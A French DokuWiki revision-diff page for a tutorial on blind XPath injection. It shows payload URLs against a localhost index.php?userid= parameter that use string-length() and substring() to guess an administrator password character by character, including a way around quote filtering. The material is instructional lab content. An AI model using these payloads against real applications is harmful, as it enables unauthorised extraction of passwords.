Outils pour utilisateurs

Outils du site


web:injection_blind_xpath

Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

Prochaine révision
Révision précédente
Prochaine révision Les deux révisions suivantes
web:injection_blind_xpath [2016/02/04 17:04]
arkinar créée
web:injection_blind_xpath [2016/04/15 10:15]
arkinar
Ligne 10: Ligne 10:
 4. Sophie 4. Sophie
 </​code>​ </​code>​
-Lorsque nous accèdons ​au détail ​du première utilisateur notre url nous donne :+Lorsque nous accèdons ​aux détails ​du première utilisateur notre url nous donne :
  
 http://​localhost/​index.php?​userid=1 http://​localhost/​index.php?​userid=1
Ligne 31: Ligne 31:
 <​code>​http://​localhost/​index.php?​userid=1 and string-length(//​user[1]/​password)=1 </​code>​ <​code>​http://​localhost/​index.php?​userid=1 and string-length(//​user[1]/​password)=1 </​code>​
  
-Si la requete nous renvoi ​une erreur le mot de passe de l'​admin ne fais pas 1 caractère+Si la requete nous renvoie ​une erreur le mot de passe de l'​admin ne fait pas 1 caractère
  
 On va incrementer jusqu'​à trouver la bonne valeur. On va incrementer jusqu'​à trouver la bonne valeur.
Ligne 52: Ligne 52:
 </​code>​ </​code>​
  
-Renvoie ​la chaîne de longueur n à partir du xième caractère.+Renvoi ​la chaîne de longueur n à partir du xième caractère.
  
 Dans notre cas trouvons la première lettre du mot de passe :  ​ Dans notre cas trouvons la première lettre du mot de passe :  ​
  
 <​code>​ <​code>​
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​1,​1)='​a' ​                     +http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​1,​1)='​a' ​                     
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​1,​1)='​b'​ +http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​1,​1)='​b'​ 
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​1,​1)='​c'​ +http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​1,​1)='​c'​ 
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​1,​1)='​d'​ +http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​1,​1)='​d'​ 
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​1,​1)='​e'​+http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​1,​1)='​e'​
 ... ...
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​1,​1)='​p'​+http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​1,​1)='​p'​
 </​code>​ </​code>​
  
Ligne 73: Ligne 73:
  
 <​code>​ <​code>​
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​2,​1)='​a'​ +http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​2,​1)='​a'​ 
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​2,​1)='​b'​ +http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​2,​1)='​b'​ 
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​2,​1)='​c'​ +http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​2,​1)='​c'​ 
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​2,​1)='​d'​ +http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​2,​1)='​d'​ 
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​2,​1)='​e'​+http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​2,​1)='​e'​
 ... ...
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​2,​1)='​A'​ <=OK+http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​2,​1)='​A'​ <=OK
 </​code>​ </​code>​
  
Ligne 85: Ligne 85:
  
 <​code>​ <​code>​
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​3,​1)='​a'​ +http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​3,​1)='​a'​ 
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​3,​1)='​b'​ +http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​3,​1)='​b'​ 
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​3,​1)='​c'​ +http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​3,​1)='​c'​ 
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​3,​1)='​d'​ +http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​3,​1)='​d'​ 
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​3,​1)='​e'​+http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​3,​1)='​e'​
 ... ...
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​3,​1)='​S'​ <=OK+http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​3,​1)='​S'​ <=OK
 </​code>​ </​code>​
  
Ligne 97: Ligne 97:
  
 <​code>​ <​code>​
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​4,​1)='​a'​ +http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​4,​1)='​a'​ 
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​4,​1)='​b'​ +http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​4,​1)='​b'​ 
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​4,​1)='​c'​ +http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​4,​1)='​c'​ 
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​4,​1)='​d'​ +http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​4,​1)='​d'​ 
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​4,​1)='​e'​+http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​4,​1)='​e'​
 ... ...
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​4,​1)='​p'​+http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​4,​1)='​p'​
 </​code>​ </​code>​
  
Ligne 122: Ligne 122:
  
 <​code>​ <​code>​
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​1,​1)=codepoints-to-string(112)+http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​1,​1)=codepoints-to-string(112)
 </​code>​ </​code>​
  
Ligne 128: Ligne 128:
  
 <​code>​ <​code>​
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​1,​1)='​p'​+http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​1,​1)='​p'​
 </​code>​ </​code>​
  
Ligne 137: Ligne 137:
 La fonction codepoints-to-string n'​existe pas donc nous allons réutiliser la fonction substring. La fonction codepoints-to-string n'​existe pas donc nous allons réutiliser la fonction substring.
  
-Nous allons ​prendres ​les informations disponibles sur la page (le nom des comptes utilisateurs)+Nous allons ​prendre ​les informations disponibles sur la page (le nom des comptes utilisateurs)
  
 <​code>​ <​code>​
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​1,​1)=substring(user[1]/​username,​1,​1)+http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​1,​1)=substring(//user[1]/​username,​1,​1)
 </​code>​ </​code>​
  
-cette requete ​équivaut à : userid=1 and le premiere ​caractère du pass de l'​admin = la première lettre du nom d'​utilisateur de l'​admin+cette requête ​équivaut à : userid=1 and le premier ​caractère du pass de l'​admin = la première lettre du nom d'​utilisateur de l'​admin
  
 Notre mot de passe administrateur vaudra donc : Notre mot de passe administrateur vaudra donc :
  
 <​code>​ <​code>​
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​1,​1)=substring(user[4]/​username,​3,​1) ​    <= p +http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​1,​1)=substring(//user[4]/​username,​3,​1) ​    <= p 
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​2,​1)=substring(user[1]/​username,​1,​1) ​    <= A +http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​2,​1)=substring(//user[1]/​username,​1,​1) ​    <= A 
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​3,​1)=substring(user[4]/​username,​1,​1) ​    <= S +http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​3,​1)=substring(//user[4]/​username,​1,​1) ​    <= S 
-http://​localhost/​index.php?​userid=1 and substring(user[1]/​password,​4,​1)=substring(user[4]/​username,​1,​1) ​    <= S+http://​localhost/​index.php?​userid=1 and substring(//user[1]/​password,​4,​1)=substring(//user[4]/​username,​1,​1) ​    <= S
 </​code>​ </​code>​
  
web/injection_blind_xpath.txt · Dernière modification: 2016/08/09 08:26 par yorin